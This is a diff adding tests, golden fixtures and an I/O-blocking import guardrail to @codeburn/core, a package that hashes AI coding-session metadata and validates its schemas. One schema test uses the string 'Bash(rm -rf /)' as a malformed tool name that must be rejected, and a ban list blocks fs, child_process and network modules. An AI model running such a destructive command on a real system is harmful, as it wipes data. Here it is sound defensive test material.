expect(diagnostics[0].index).toBe(1)
expect(diagnostics[0].code).toBe('other')
// The thrown message's path must have been sanitized out.
expect(diagnostics[0].detail).not.toMatch(/[\\/]/)
expect(RecordDiagnostic.safeParse(diagnostics[0]).success).toBe(true)
})
it('aggregates observations and diagnostics returned by decodeOne', () => {
const { observations, diagnostics } = isolateRecords([1, 2], (_r, index) => ({
observations: [fakeSession(`s-${index}`)],
diagnostics: [{ index, code: 'invalid-value' as const, detail: 'clamped a value' }],
}))
expect(observations).toHaveLength(2)
expect(diagnostics).toHaveLength(2)
})
it('never throws even when every record is poison', () => {
const { observations, diagnostics } = isolateRecords(['a', 'b'], () => {
throw new Error('always bad')
})
expect(observations).toEqual([])
expect(diagnostics).toHaveLength(2)
})
})

View file

@ -0,0 +1,160 @@
import { describe, expect, it } from 'vitest'
import {
branchRef,
classifyResource,
commandFamily,
normalizePath,
projectRef,
resourceFingerprint,
sessionRef,
} from '../src/fingerprint.js'
const KEY = 'test-privacy-key'
const KEY2 = 'a-different-key'
const HEX16 = /^[0-9a-f]{16}$/
describe('fingerprint shape', () => {
it('every ref is 16 lowercase hex chars', () => {
expect(sessionRef(KEY, 'claude', 's1')).toMatch(HEX16)
expect(projectRef(KEY, '/home/u/proj')).toMatch(HEX16)
expect(branchRef(KEY, 'feature/x')).toMatch(HEX16)
expect(resourceFingerprint(KEY, '/home/u/proj/src/a.ts').resourceId).toMatch(HEX16)
})
it('requires a privacy key', () => {
expect(() => sessionRef('', 'claude', 's1')).toThrow(/privacyKey/)
})
})
describe('determinism', () => {
it('same inputs + key produce the same ref', () => {
expect(sessionRef(KEY, 'claude', 's1')).toBe(sessionRef(KEY, 'claude', 's1'))
expect(projectRef(KEY, '/home/u/proj')).toBe(projectRef(KEY, '/home/u/proj'))
expect(branchRef(KEY, 'main')).toBe(branchRef(KEY, 'main'))
})
})
describe('distinctness', () => {
it('different inputs produce different refs', () => {
expect(sessionRef(KEY, 'claude', 's1')).not.toBe(sessionRef(KEY, 'claude', 's2'))
expect(projectRef(KEY, '/a')).not.toBe(projectRef(KEY, '/b'))
})
it('a different key produces a different ref (key isolation)', () => {
expect(sessionRef(KEY, 'claude', 's1')).not.toBe(sessionRef(KEY2, 'claude', 's1'))
})
})
describe('domain separation', () => {
it('the same string in different domains produces different refs', () => {
const s = 'shared-string'
const asSession = sessionRef(KEY, s, '') // session-domain
const asProject = projectRef(KEY, s)
const asBranch = branchRef(KEY, s)
const asResource = resourceFingerprint(KEY, s).resourceId
const all = new Set([asSession, asProject, asBranch, asResource])
expect(all.size).toBe(4)
})
it('sessionRef separates provider from id (no field-boundary collision)', () => {
// "ab" + "c" must not collide with "a" + "bc".
expect(sessionRef(KEY, 'ab', 'c')).not.toBe(sessionRef(KEY, 'a', 'bc'))
})
})
describe('non-reversibility (sanity)', () => {
it('the ref does not contain the plaintext input', () => {
const secret = 'super-secret-session-id'
const ref = sessionRef(KEY, 'claude', secret)
expect(ref).not.toContain(secret)
expect(ref.length).toBe(16)
})
})
describe('path normalization', () => {
it('converts backslashes and strips trailing separators', () => {
expect(normalizePath('C:\\Users\\me\\proj\\')).toBe('c:/users/me/proj')
expect(normalizePath('/home/u/proj/')).toBe('/home/u/proj')
})
it('case-folds only Windows-style paths', () => {
// POSIX path keeps case (Foo.ts !== foo.ts on POSIX).
expect(normalizePath('/home/U/Foo.ts')).toBe('/home/U/Foo.ts')
// Windows drive path is lowercased.
expect(normalizePath('D:\\Code\\App.TS')).toBe('d:/code/app.ts')
})
it('a POSIX and Windows spelling of the same path can be made to hash equally when case matches', () => {
// Backslash form is treated as Windows and lowercased; the equivalent
// already-lowercase POSIX form hashes identically.
expect(projectRef(KEY, 'C:\\proj\\app')).toBe(projectRef(KEY, 'c:/proj/app'))
})
})
describe('resource classification', () => {
const cases: Array<[string, string]> = [
['/repo/node_modules/lodash/index.js', 'dependency'],
['/repo/.venv/lib/site.py', 'dependency'],
['/repo/backend/site-packages/x.py', 'dependency'],
['/repo/dist/index.js', 'build'],
['/repo/.next/server/page.js', 'build'],
['/repo/target/debug/app', 'build'],
['/repo/.git/HEAD', 'vcs'],
['/repo/.eslintrc', 'config'],
['/repo/tsconfig.json', 'config'],
['/repo/config/app.yaml', 'config'],
['/repo/Cargo.toml', 'config'],
['/repo/README.md', 'doc'],
['/repo/notes.txt', 'doc'],
['/repo/src/main.ts', 'source'],
['/repo/src/lib.rs', 'source'],
['/repo/pkg/service.go', 'source'],
['/repo/data.bin', 'other'],
['/repo/LICENSE', 'other'],
]
it.each(cases)('classifies %s as %s', (path, expected) => {
expect(classifyResource(path)).toBe(expected)
})
it('directory class beats extension (a .ts under node_modules is a dependency)', () => {
expect(classifyResource('/repo/node_modules/pkg/index.ts')).toBe('dependency')
})
})
describe('commandFamily (leading token only)', () => {
const cases: Array<[string, string]> = [
['git commit -m "x"', 'git'],
['git push origin main', 'git'],
['vitest run tests/', 'test'],
['pytest -q', 'test'],
['npm test', 'test'],
['npm run build', 'build'],
['npm run dev', 'run'],
['npm install lodash', 'package'],
['yarn add react', 'package'],
['pnpm ci', 'package'],
['tsc --noEmit', 'build'],
['make all', 'build'],
['go test ./...', 'test'],
['go build ./cmd', 'build'],
['pip install requests', 'package'],
['node server.js', 'run'],
['python3 main.py', 'run'],
['./scripts/run.sh', 'run'],
['/usr/local/bin/tool --flag', 'run'],
['rm -rf build', 'fs'],
['ls -la', 'fs'],
['curl https://example.com', 'net'],
['ssh host', 'net'],
['frobnicate --wild', 'shell-other'],
['', 'shell-other'],
]
it.each(cases)('classifies %j as %s', (command, expected) => {
expect(commandFamily(command)).toBe(expected)
})
it('classifies by the binary basename, not its path', () => {
expect(commandFamily('/opt/homebrew/bin/git status')).toBe('git')
})
})

View file

@ -0,0 +1,64 @@
{
"schemaVersion": "0.1.0",
"generator": {
"name": "@codeburn/core",
"version": "0.9.19"
},
"sessions": [
{
"sessionRef": "a1b2c3d4e5f60718",
"projectRef": "0f1e2d3c4b5a6978",
"providerId": "claude",
"startedAt": "2026-07-17T10:00:00.000Z",
"endedAt": "2026-07-17T10:42:00.000Z",
"gitBranchRef": "deadbeefcafe0011",
"isSidechain": false,
"turnCount": 2,
"calls": [
{
"provider": "claude",
"model": "claude-opus-4-8",
"pricingModel": "claude-opus-4-8",
"tokens": {
"input": 1200,
"output": 340,
"reasoning": 0,
"cacheRead": 800,
"cacheCreate": 120
},
"webSearchRequests": 0,
"speed": "standard",
"costBasis": "measured",
"measuredCostUSD": 0.0123,
"timestamp": "2026-07-17T10:00:05.000Z",
"dedupKey": "call-0001",
"toolNames": ["Read", "Edit", "Bash"],
"turnIndex": 0,
"locAdded": 12,
"locRemoved": 3,
"interrupted": false,
"toolErrors": 0
},
{
"provider": "claude",
"model": "claude-sonnet-4-6",
"tokens": {
"input": 500,
"output": 90,
"reasoning": 40,
"cacheRead": 0,
"cacheCreate": 0
},
"webSearchRequests": 1,
"speed": "fast",
"costBasis": "estimated",
"fallbackCostUSD": 0.004,
"timestamp": "2026-07-17T10:05:00.000Z",
"dedupKey": "call-0002",
"toolNames": ["WebSearch"],
"turnIndex": 1
}
]
}
]
}

View file

@ -0,0 +1,20 @@
{
"detectorId": "cache-underuse",
"algorithmVersion": "0.1.0",
"confidence": {
"score": 0.82,
"basis": "cacheRead was zero across all sampled calls despite repeated context"
},
"evidence": [
{
"kind": "sessions-without-cache-read",
"count": 3,
"sessionRefs": ["a1b2c3d4e5f60718", "0f1e2d3c4b5a6978"]
},
{
"kind": "affected-resources",
"refs": ["deadbeefcafe0011"]
}
],
"impactUSD": 4.21
}

View file

@ -0,0 +1,22 @@
// ESM loader hook (registered by block-io-register.mjs). Throws on resolution of
// any I/O-capable core module, so if @codeburn/core touches the filesystem, a
// child process, or the network at import time — or during a trivial call — the
// import fails and the import-smoke guardrail catches it.
const BANNED = new Set([
'fs',
'fs/promises',
'child_process',
'net',
'http',
'https',
'dns',
'dns/promises',
])
export async function resolve(specifier, context, nextResolve) {
const bare = specifier.replace(/^node:/, '')
if (BANNED.has(bare)) {
throw new Error(`import-smoke: blocked I/O module import "${specifier}"`)
}
return nextResolve(specifier, context)
}

View file

@ -0,0 +1,11 @@
// Preload (`node --import`) for the import-smoke child. Registers the I/O
// blocking loader hook and empties process.env, so the child runs with no
// ambient environment and no ability to reach fs / child_process / net / http /
// https / dns.
import { register } from 'node:module'
register('./block-io-hooks.mjs', import.meta.url)
for (const key of Object.keys(process.env)) {
delete process.env[key]
}

View file

@ -0,0 +1,48 @@
// Runs under block-io-register.mjs. argv[2..] are absolute paths to every
// exports-map dist target (computed by the parent test from package.json, since
// this child cannot read files). It imports each one, then calls a trivial
// fingerprint + schema parse via the barrel. Any I/O import inside core makes
// one of these dynamic imports throw, failing the guardrail.
import { pathToFileURL } from 'node:url'
const targets = process.argv.slice(2)
if (targets.length === 0) {
console.error('import-smoke: no dist targets provided')
process.exit(2)
}
const loaded = {}
for (const abs of targets) {
const mod = await import(pathToFileURL(abs).href)
loaded[abs] = mod
}
// The barrel is the first target by convention; find whichever export set has
// the functions we need (index re-exports everything).
const barrel = Object.values(loaded).find(
(m) => typeof m.sessionRef === 'function' && typeof m.parseObservationEnvelope === 'function',
)
if (!barrel) {
console.error('import-smoke: barrel exports not found across targets')
process.exit(3)
}
// Trivial fingerprint (pure crypto, no I/O).
const ref = barrel.sessionRef('smoke-key', 'claude', 'session-123')
if (!/^[0-9a-f]{16}$/.test(ref)) {
console.error(`import-smoke: unexpected fingerprint ${ref}`)
process.exit(4)
}
// Trivial schema parse.
const env = barrel.parseObservationEnvelope({
schemaVersion: '0.1.0',
generator: { name: '@codeburn/core', version: '0.0.0-smoke' },
sessions: [],
})
if (env.schemaVersion !== '0.1.0') {
console.error('import-smoke: parse returned unexpected envelope')
process.exit(5)
}
console.log('IMPORT_SMOKE_OK')

View file

@ -0,0 +1,74 @@
import { execFileSync, spawnSync } from 'node:child_process'
import { existsSync, readFileSync } from 'node:fs'
import { dirname, resolve } from 'node:path'
import { fileURLToPath } from 'node:url'
import { beforeAll, describe, expect, it } from 'vitest'
/**
* IMPORT-SMOKE GUARDRAIL.
*
* Proves @codeburn/core performs no filesystem / child-process / network I/O at
* import time or during a trivial fingerprint + schema parse. We run against the
* BUILT dist (pure ESM whose only deps are `zod` and `node:crypto`), so the
* child needs no TS loader just plain node plus a resolve hook that throws on
* any I/O module. Resolving the exports-map targets to file paths (rather than
* importing `@codeburn/core` by name) avoids a self-symlink dance in the
* worktree while still exercising every declared subpath.
*/
const here = dirname(fileURLToPath(import.meta.url))
const pkgRoot = resolve(here, '..')
const registerPreload = resolve(here, 'harness/block-io-register.mjs')
const childScript = resolve(here, 'harness/import-smoke-child.mjs')
function exportsTargets(): string[] {
const pkg = JSON.parse(readFileSync(resolve(pkgRoot, 'package.json'), 'utf8'))
const targets: string[] = []
for (const [subpath, entry] of Object.entries<Record<string, string>>(pkg.exports)) {
const rel = entry.import
expect(rel, `exports["${subpath}"] must declare an import target`).toBeTruthy()
targets.push(resolve(pkgRoot, rel))
}
// Barrel first so the child finds the full export set quickly.
targets.sort((a) => (a.endsWith('/index.js') ? -1 : 1))
return targets
}
beforeAll(() => {
// Build the artifact the guardrail inspects. Fresh build avoids stale dist.
execFileSync('npm', ['run', 'build'], { cwd: pkgRoot, stdio: 'pipe' })
}, 120_000)
describe('import-smoke guardrail', () => {
it('imports every exports subpath and runs a trivial op with all I/O modules blocked', () => {
const targets = exportsTargets()
for (const t of targets) {
expect(existsSync(t), `built dist target missing: ${t}`).toBe(true)
}
const result = spawnSync(
process.execPath,
['--import', registerPreload, childScript, ...targets],
{ cwd: pkgRoot, encoding: 'utf8' },
)
if (result.status !== 0) {
throw new Error(
`import-smoke child exited ${result.status}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}`,
)
}
expect(result.stdout).toContain('IMPORT_SMOKE_OK')
})
it('confirms the block hook actually throws on a banned module (harness sanity)', () => {
// A tiny inline module that imports fs must fail under the preload, proving
// the guardrail can detect I/O — otherwise the passing test above is vacuous.
const result = spawnSync(
process.execPath,
['--import', registerPreload, '--input-type=module', '--eval', "await import('node:fs')"],
{ cwd: pkgRoot, encoding: 'utf8' },
)
expect(result.status).not.toBe(0)
expect(result.stderr).toContain('blocked I/O module import')
})
})

View file

@ -0,0 +1,26 @@
import { readFileSync } from 'node:fs'
import { dirname, resolve } from 'node:path'
import { fileURLToPath } from 'node:url'
import { describe, expect, it } from 'vitest'
import { buildJsonSchemas } from '../src/internal/json-schema.js'
const here = dirname(fileURLToPath(import.meta.url))
const schemasDir = resolve(here, '..', 'schemas')
/**
* DRIFT GUARD. The checked-in JSON Schemas must equal a fresh emission from the
* zod validators. If a validator changes and `npm run emit-schemas` was not
* re-run, this fails so the artifact can never silently diverge from source.
*/
describe('JSON Schema drift', () => {
const fresh = buildJsonSchemas()
for (const name of Object.keys(fresh)) {
it(`${name}.json matches a fresh emission`, () => {
const onDisk = JSON.parse(readFileSync(resolve(schemasDir, `${name}.json`), 'utf8'))
expect(onDisk).toEqual(fresh[name])
})
}
})

View file

@ -0,0 +1,100 @@
import { readFileSync } from 'node:fs'
import { dirname, resolve } from 'node:path'
import { fileURLToPath } from 'node:url'
import Ajv from 'ajv'
import { describe, expect, it } from 'vitest'
import { Finding } from '../src/contracts.js'
import { ObservationEnvelope } from '../src/observations.js'
const here = dirname(fileURLToPath(import.meta.url))
const pkgRoot = resolve(here, '..')
function readJson(rel: string): unknown {
return JSON.parse(readFileSync(resolve(pkgRoot, rel), 'utf8'))
}
const goldenEnvelope = readJson('tests/fixtures/golden-envelope.json')
const goldenFinding = readJson('tests/fixtures/golden-finding.json')
const observationSchema = readJson('schemas/observation-0.1.0.json') as object
const findingSchema = readJson('schemas/finding-0.1.0.json') as object
// strict:false so unknown string formats (date-time) are ignored rather than
// erroring — we validate structure/shape, not RFC date grammar (zod already
// enforces the timestamp format on the runtime side).
const ajv = new Ajv({ strict: false, allErrors: true })
// date-time is a semantic annotation here; zod enforces the timestamp format at
// runtime, so we register it as always-valid to keep ajv from warning.
ajv.addFormat('date-time', true)
const validateEnvelope = ajv.compile(observationSchema)
const validateFinding = ajv.compile(findingSchema)
/**
* THREE-WAY AGREEMENT.
*
* For each golden fixture we assert all three views of the contract accept it:
* 1. TypeScript types this file imports the inferred types and compiles.
* 2. zod validator the runtime source-of-truth.
* 3. JSON Schema the checked-in artifact, validated with ajv.
*
* We use ajv (a real JSON Schema validator, already in the tree) rather than a
* structural comparison because only real validation proves the emitted schema
* actually ACCEPTS conforming data a structural diff would only prove the two
* shapes look alike, not that the schema is usable by an external consumer.
*/
describe('three-way agreement: golden envelope', () => {
it('zod accepts it', () => {
const parsed = ObservationEnvelope.safeParse(goldenEnvelope)
expect(parsed.success, JSON.stringify((parsed as { error?: unknown }).error)).toBe(true)
})
it('JSON Schema (ajv) accepts it', () => {
const ok = validateEnvelope(goldenEnvelope)
expect(ok, JSON.stringify(validateEnvelope.errors)).toBe(true)
})
})
describe('three-way agreement: golden finding', () => {
it('zod accepts it', () => {
const parsed = Finding.safeParse(goldenFinding)
expect(parsed.success, JSON.stringify((parsed as { error?: unknown }).error)).toBe(true)
})
it('JSON Schema (ajv) accepts it', () => {
const ok = validateFinding(goldenFinding)
expect(ok, JSON.stringify(validateFinding.errors)).toBe(true)
})
})
describe('strictness / structural minimization', () => {
it('zod rejects an unknown top-level field', () => {
expect(ObservationEnvelope.safeParse({ ...(goldenEnvelope as object), title: 'x' }).success).toBe(false)
})
it('JSON Schema also rejects an unknown top-level field (additionalProperties:false)', () => {
expect(validateEnvelope({ ...(goldenEnvelope as object), title: 'x' })).toBe(false)
})
it('rejects a call whose measuredCostUSD is set without a measured costBasis', () => {
const env = structuredClone(goldenEnvelope) as {
sessions: { calls: Array<Record<string, unknown>> }[]
}
env.sessions[0].calls[1].measuredCostUSD = 0.99 // this call is 'estimated'
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects a toolNames entry that carries arguments', () => {
const env = structuredClone(goldenEnvelope) as {
sessions: { calls: Array<Record<string, unknown>> }[]
}
env.sessions[0].calls[0].toolNames = ['Bash(rm -rf /)']
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects a non-fingerprint sessionRef', () => {
const env = structuredClone(goldenEnvelope) as { sessions: Array<Record<string, unknown>> }
env.sessions[0].sessionRef = 'raw-session-id-not-a-hash'
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
})

View file

@ -7,11 +7,10 @@
"esModuleInterop": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "src",
"declaration": true,
"sourceMap": true,
"resolveJsonModule": true
},
"include": ["src/**/*"],
"include": ["src/**/*", "tests/**/*", "scripts/**/*"],
"exclude": ["node_modules", "dist"]
}

View file

@ -1,7 +1,16 @@
import { defineConfig } from 'tsup'
export default defineConfig({
entry: ['src/index.ts'],
// One entry per exports-map subpath. `internal/*` is deliberately excluded so
// `zod-to-json-schema` never enters the runtime bundle.
entry: [
'src/index.ts',
'src/schema.ts',
'src/observations.ts',
'src/diagnostics.ts',
'src/fingerprint.ts',
'src/contracts.ts',
],
format: ['esm'],
target: 'node20',
outDir: 'dist',

View file

@ -0,0 +1,7 @@
import { defineConfig } from 'vitest/config'
export default defineConfig({
test: {
include: ['tests/**/*.test.ts'],
},
})